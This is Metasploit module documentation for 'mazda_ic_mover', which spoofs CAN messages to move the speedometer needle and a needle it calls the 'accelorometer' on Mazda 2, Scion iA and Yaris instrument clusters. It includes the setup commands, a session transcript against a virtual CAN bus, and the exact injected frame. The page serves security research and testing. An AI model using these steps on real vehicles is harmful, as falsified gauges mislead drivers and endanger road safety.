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Mazda Ic Mover

documentation/modules/post/hardware/automotive/mazda_ic_mover.md

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Introduction

mazda_ic_mover or Mazda 2 Instrument Cluster Accelorometer Mover sends CAN message to move the needle of the accelorometer and speedometer of the Mazda 2 instrument cluster. This works specifically for for Mazda 2 1.5 Skyactiv, Mazda Demio, Mazda 2 Demio, Scion iA, Toyota Yaris, Toyota Yaris R and Toyota Yaris iA.

This research was done by Jay Turla of ROOTCON's Car Hacking Village.

Verification Steps

Fire up virtual CAN bus:

  1. sudo modprobe can
  2. sudo modprobe vcan
  3. sudo ip link add dev vcan0 type vcan
  4. sudo ip link set up vcan0

You could also use Craig Smith's Virtual Instrument Cluster Simulator.

Launch msf:

  1. Start msfconsole
  2. use auxiliary/server/local_hwbridge
  3. set uripath testbus
  4. run
  5. use auxiliary/client/hwbridge/connect
  6. set targeturi testbus

Options

CANBUS

CAN Bus to perform scan on, defaults to connected bus

Scenarios

A successful spoofing of an instrument cluster on a target vehicle:

msf auxiliary(client/hwbridge/connect) > run
[*] Running module against 127.0.0.1

[*] Attempting to connect to 127.0.0.1...
[*] Hardware bridge interface session 2 opened (127.0.0.1 -> 127.0.0.1) at 2019-09-11 04:59:40 -0700
[+] HWBridge session established
[*] HW Specialty: {"automotive"=>true}  Capabilities: {"can"=>true, "custom_methods"=>true}
[!] NOTICE:  You are about to leave the matrix.  All actions performed on this hardware bridge
[!]          could have real world consequences.  Use this module in a controlled testing
[!]          environment and with equipment you are authorized to perform testing on.
[*] Auxiliary module execution completed
msf auxiliary(client/hwbridge/connect) > sessions

Active sessions
===============

  Id  Name  Type                   Information  Connection
  --  ----  ----                   -----------  ----------
  2         hwbridge cmd/hardware  automotive   127.0.0.1 -> 127.0.0.1 (127.0.0.1)

msf auxiliary(client/hwbridge/connect) > sessions -i 2
[*] Starting interaction with 2...

hwbridge > run post/hardware/automotive/mazda_ic_mover CANBUS=vcan0

[*] Moving the accelorometer and speedometer...
hwbridge > run post/hardware/automotive/mazda_ic_mover CANBUS=vcan0

[*] Moving the accelorometer and speedometer...
hwbridge > run post/hardware/automotive/mazda_ic_mover CANBUS=vcan0

[*] Moving the accelorometer and speedometer...
hwbridge > run post/hardware/automotive/mazda_ic_mover CANBUS=vcan0

[*] Moving the accelorometer and speedometer...
hwbridge > run post/hardware/automotive/mazda_ic_mover CANBUS=vcan0

[*] Moving the accelorometer and speedometer...

You can use candump to verify the CAN messages being sent:

jjt@ubuntu:~/pentot/ICSim$ candump -c vcan0
  vcan0  202   [8]  60 01 60 60 60 60 60 00
  vcan0  202   [8]  60 01 60 60 60 60 60 00
  vcan0  202   [8]  60 01 60 60 60 60 60 00
  vcan0  202   [8]  60 01 60 60 60 60 60 00